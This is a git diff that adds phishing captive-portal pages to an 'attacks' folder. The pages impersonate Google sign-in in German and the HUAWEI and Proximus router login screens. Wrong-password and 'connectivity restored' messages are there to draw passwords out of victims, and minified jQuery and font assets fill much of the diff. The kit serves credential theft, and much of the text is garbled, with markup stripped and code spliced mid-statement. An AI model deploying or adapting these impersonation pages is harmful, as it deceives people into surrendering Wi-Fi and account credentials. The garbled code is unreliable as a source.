!i},fireWith:function(a,c){return !h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return !!d}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1){for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++){c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f}}return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){if(a===!0?!--n.readyWait:!n.isReady){if(!z.body){return setTimeout(n.ready)}n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(z,[n]),n.fn.trigger&&n(z).trigger("ready").off("ready"))}}});function J(){z.addEventListener?(z.removeEventListener("DOMContentLoaded",K,!1),a.removeEventListener("load",K,!1)):(z.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(z.addEventListener||"load"===event.type||"complete"===z.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I){if(I=n.Deferred(),"complete"===z.readyState){setTimeout(n.ready)}else{if(z.addEventListener){z.addEventListener("DOMContentLoaded",K,!1),a.addEventListener("load",K,!1)}else{z.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&z.documentElement}catch(d){}c&&c.doScroll&&!function e(){if(!n.isReady){try{c.doScroll("left")}catch(a){return setTimeout(e,50)}J(),n.ready()}}()}}}return I.promise(b)};var L="undefined",M;for(M in n(l)){break}l.ownLast="0"!==M,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c=z.getElementsByTagName("body")[0];c&&(a=z.createElement("div"),a.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",b=z.createElement("div"),c.appendChild(a).appendChild(b),typeof b.style.zoom!==L&&(b.style.cssText="border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1",(l.inlineBlockNeedsLayout=3===b.offsetWidth)&&(c.style.zoom=1)),c.removeChild(a),a=b=null)}),function(){var a=z.createElement("div");if(null==l.deleteExpando){l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}}a=null}(),n.acceptData=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b};var N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else{c=void 0}}return c}function Q(a){var b;for(b in a){if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b){return !1}}return !0}function R(a,b,d,e){if(n.acceptData(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b){return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),("object"==typeof b||"function"==typeof b)&&(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}}function S(a,b,c){if(n.acceptData(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--){delete d[b[e]]}if(c?!Q(d):!n.isEmptyObject(d)){return}}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=null)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--){d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d]))}n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthh;h++){b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)))}}}return e?a:j?b.call(a):i?b(a[0],c):f},X=/^(?:checkbox|radio)$/i;!function(){var a=z.createDocumentFragment(),b=z.createElement("div"),c=z.createElement("input");if(b.setAttribute("className","t"),b.innerHTML="
      a",l.leadingWhitespace=3===b.firstChild.nodeType,l.tbody=!b.getElementsByTagName("tbody").length,l.htmlSerialize=!!b.getElementsByTagName("link").length,l.html5Clone="<:nav>"!==z.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,a.appendChild(c),l.appendChecked=c.checked,b.innerHTML="",l.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue,a.appendChild(b),b.innerHTML="",l.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!0,b.attachEvent&&(b.attachEvent("onclick",function(){l.noCloneEvent=!1}),b.cloneNode(!0).click()),null==l.deleteExpando){l.deleteExpando=!0;try{delete b.test}catch(d){l.deleteExpando=!1}}a=b=c=null}(),function(){var b,c,d=z.createElement("div");for(b in {submit:!0,change:!0,focusin:!0}){c="on"+b,(l[b+"Bubbles"]=c in a)||(d.setAttribute(c,"t"),l[b+"Bubbles"]=d.attributes[c].expando===!1)}d=null}();var Y=/^(?:input|select|textarea)$/i,Z=/^key/,$=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,ab=/^([^.]*)(?:\.(.+)|)$/;function bb(){return !0}function cb(){return !1}function db(){try{return z.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return typeof n===L||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(F)||[""],h=b.length;while(h--){f=ab.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0)}a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(F)||[""],j=b.length;while(j--){if(h=ab.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--){g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g))}i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else{for(o in k){n.event.remove(a,o+b[j],c,d,!0)}}}n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[n.expando]?b:new n.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode){o.push(h),l=h}l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped()){b.type=m>1?i:k.bindType||p,f=(n._data(h,"events")||{})[b.type]&&n._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault())}if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped()){(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type)){for(;i!=this;i=i.parentNode||this){if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++){d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d)}e.length&&g.push({elem:i,handlers:e})}}}return h]","i"),ib=/^\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,kb=/<([\w:]+)/,lb=/\s*$/g,sb={option:[1,""],legend:[1,"
      ","
      "],area:[1,"",""],param:[1,"",""],thead:[1,"","
      "],tr:[2,"","
      "],col:[2,"","
      "],td:[3,"","
      "],_default:l.htmlSerialize?[0,"",""]:[1,"X
      ","
      "]},tb=eb(z),ub=tb.appendChild(z.createElement("div"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||"*"):void 0;if(!f){for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++){!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b))}}return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function yb(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++){n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h){for(d=0,e=h[c].length;e>d;d++){n.event.add(b,c,h[c][d])}}}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events){n.removeEvent(b,d,e.handle)}b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a))){for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g){d[g]&&Cb(e,d[g])}}if(b){if(c){for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++){Bb(e,d[g])}}else{Bb(a,f)}}return d=vb(f,"script"),d.length>0&&Ab(d,!i&&vb(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++){if(f=a[q],f||0===f){if("object"===n.type(f)){n.merge(p,f.nodeType?[f]:f)}else{if(mb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(kb.exec(f)||["",""])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,"<$1>")+k[2],e=k[0];while(e--){h=h.lastChild}if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f="table"!==i||lb.test(f)?""!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--){n.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}}n.merge(p,h.childNodes),h.textContent="";while(h.firstChild){h.removeChild(h.firstChild)}h=o.lastChild}else{p.push(b.createTextNode(f))}}}}h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,"input"),wb),q=0;while(f=p[q++]){if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),"script"),g&&Ab(h),c)){e=0;while(f=h[e++]){pb.test(f.type||"")&&c.push(f)}}}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++){if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events){for(e in g.events){m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle)}}j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++){b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,"script")),c.parentNode.removeChild(c))}return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild){a.removeChild(a.firstChild)}a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a){return 1===b.nodeType?b.innerHTML.replace(gb,""):void 0}if(!("string"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(jb,"<$1>");try{for(;d>c;c++){b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a)}b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&"string"==typeof p&&!l.checkClone&&ob.test(p)){return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)})}if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,"script"),yb),f=g.length;k>j;j++){d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,"script"))),b.call(this[j],d,j)}if(f){for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++){d=g[j],pb.test(d.type||"")&&!n._data(d,"globalEval")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||"").replace(rb,"")))}}i=c=null}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++){c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get())}return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],"display");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),"none"!==c&&c||(Db=(Db||n(" + + + + Das Passwort ist falsch. Versuchen Sie es noch einmal. + + + + + +
      + +
      + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Google_de.portal/final.html b/attacks/Captive Portal/sites/Google_de.portal/final.html new file mode 100644 index 0000000..c5b45a5 --- /dev/null +++ b/attacks/Captive Portal/sites/Google_de.portal/final.html @@ -0,0 +1,1286 @@ + + + + + + + + Anmelden – Google Konten + + + + + + + + + + + + + + +
      +
      +
      + +
      +
      +
      + + +
      +
      +
      + +
      + + + + + + + + + + + + \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Google_de.portal/index.html b/attacks/Captive Portal/sites/Google_de.portal/index.html new file mode 100644 index 0000000..056892f --- /dev/null +++ b/attacks/Captive Portal/sites/Google_de.portal/index.html @@ -0,0 +1,1210 @@ + +Anmelden – Google Konten
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/ayuda.htm b/attacks/Captive Portal/sites/HUAWEI_en.portal/ayuda.htm new file mode 100644 index 0000000..f1d8d10 --- /dev/null +++ b/attacks/Captive Portal/sites/HUAWEI_en.portal/ayuda.htm @@ -0,0 +1,2 @@ + +HUAWEI
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/background.png b/attacks/Captive Portal/sites/HUAWEI_en.portal/background.png new file mode 100644 index 0000000..150b23b Binary files /dev/null and b/attacks/Captive Portal/sites/HUAWEI_en.portal/background.png differ diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/error.html b/attacks/Captive Portal/sites/HUAWEI_en.portal/error.html new file mode 100644 index 0000000..69b76c9 --- /dev/null +++ b/attacks/Captive Portal/sites/HUAWEI_en.portal/error.html @@ -0,0 +1,38 @@ +
      ERROR: THE INSERTED PASSWORD IS INCORRECT !
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/final.html b/attacks/Captive Portal/sites/HUAWEI_en.portal/final.html new file mode 100644 index 0000000..4e9683c --- /dev/null +++ b/attacks/Captive Portal/sites/HUAWEI_en.portal/final.html @@ -0,0 +1 @@ +
      YOUR INTERNET CONNECTIVITY WILL NOW BE RESTORED.
      \ No newline at end of file diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/house.png b/attacks/Captive Portal/sites/HUAWEI_en.portal/house.png new file mode 100644 index 0000000..96ef178 Binary files /dev/null and b/attacks/Captive Portal/sites/HUAWEI_en.portal/house.png differ diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/house1.png b/attacks/Captive Portal/sites/HUAWEI_en.portal/house1.png new file mode 100644 index 0000000..4e20376 Binary files /dev/null and b/attacks/Captive Portal/sites/HUAWEI_en.portal/house1.png differ diff --git a/attacks/Captive Portal/sites/HUAWEI_en.portal/index.htm b/attacks/Captive Portal/sites/HUAWEI_en.portal/index.htm new file mode 100644 index 0000000..60c6d1b --- /dev/null +++ b/attacks/Captive Portal/sites/HUAWEI_en.portal/index.htm @@ -0,0 +1,2 @@ + + HUAWEI
      ');}} +this.children=new Array();this.parent={};this.setClass=function(classname){_this.entity.className=classname;} +this.setAttr=function(parame){for(var i in parame){_this.entity.setAttribute(i,parame[i]);}};this.set=function(o){var cs=o.css;var h=o.html;if(cs){for(var i in cs){_this.entity.style[i]=cs[i];}} +if(h){_this.html(h);}} +this.setName=function(name){_this.entity.setAttribute("name",name);_this.Name=name} +this.setID=function(id){_this.entity.setAttribute("id",id);_this.ID=id;} +this.setValue=function(val){this.entity.value=val;this.value=val;} +this.append=function(child){this.entity.appendChild(child.entity);this.children.push(child);child.parent=this;} +this.push=function(){var eles=arguments;for(var i=0;i"+tag.name+" - label构造失败" +if($.Debug){alert("请检查你的é…置文件中tagçš„name与Language中的name是å¦ç›¸åŒï¼");}} +this.html(lab+" : ");} +function DefaultInput(tag,type,tt){if(!tag){tag=new DefaultTag();tag.type=tt;} +Element.call(this,"INPUT",null,tag);var input=this;input.tag=tag;this.entity.type=type;switch(type){case"hidden":input.setValue=function(val){if(val){input.entity.value=val;input.tag.data=val;}} +break;case"text":input.setClass("df_text");if(input.tag.mode=="nocopy"){input.entity.oncopy=function(){return false;}} +if(input.tag.len){input.entity.maxLength=input.tag.len;} +if(input.tag.ch_key){input.setName(input.tag.ch_key);}else{input.setName("text_common");input.tag.ch_key="text_common";} +input.setID(tag.name);input.getCheck=function(type){if(!type){type=input.tag.ch_key;} +return checkText(input,type);} +input.setValue=function(val){if(val){input.entity.value=val;input.tag.data=val;}} +input.setData=function(val){if(!val&&val!=''&&val!=' '){return;} +input.setValue(val);input.tag.data=val;};input.entity.onkeyup=function(){input.tag.data=this.value;$.CurrentData[tag.name]=this.value;} +input.entity.onfocus=function(){this.style.border="solid 1px #8fc7fa";if(this.value==' '){this.value=this.value.replace(/^\s+|\s+$/g,'');input.tag.data=this.value;}} +input.entity.onblur=function(){this.style.border="solid 1px #d2d2d2";} +break;case"password":input.setClass("df_text");input.entity.oncopy=function(){return false;} +if(input.tag.len){input.entity.maxLength=input.tag.len;} +if(input.tag.ch_key){input.setName(input.tag.ch_key);}else{input.setName("text_common");input.tag.ch_key="text_common";} +input.setID(tag.name);input.getCheck=function(type){if(!type){type=input.tag.ch_key;} +return checkText(input,type);} +input.setValue=function(val){if(val){input.entity.value=val;input.tag.data=val;}} +input.setData=function(val){if(!val&&val!=''&&val!=' '){return;} +input.setValue(val);input.tag.data=val;};input.entity.onkeyup=function(){input.tag.data=this.value;} +input.entity.onfocus=function(){this.style.border="solid 1px #8fc7fa";} +input.entity.onblur=function(){this.style.border="solid 1px #d2d2d2";} +break;case"radio":input.setName(tag.name);input.setClass("df_radio");input.entity.onclick=function(){input.checked();if(tag.action){$.exec(tag.action,tag);}};input.checked=function(){this.entity.checked=true;var co=document.getElementsByName(tag.name);for(var i=0;i
      +
      + +
      + +
      + +
      + + + + + + + + + + + + + + diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.eot b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.eot new file mode 100644 index 0000000..4a4ca86 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.eot differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.svg b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.svg new file mode 100644 index 0000000..25691af --- /dev/null +++ b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.svg @@ -0,0 +1,229 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.ttf b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.ttf new file mode 100644 index 0000000..67fa00b Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.ttf differ diff --git a/attacks/Captive 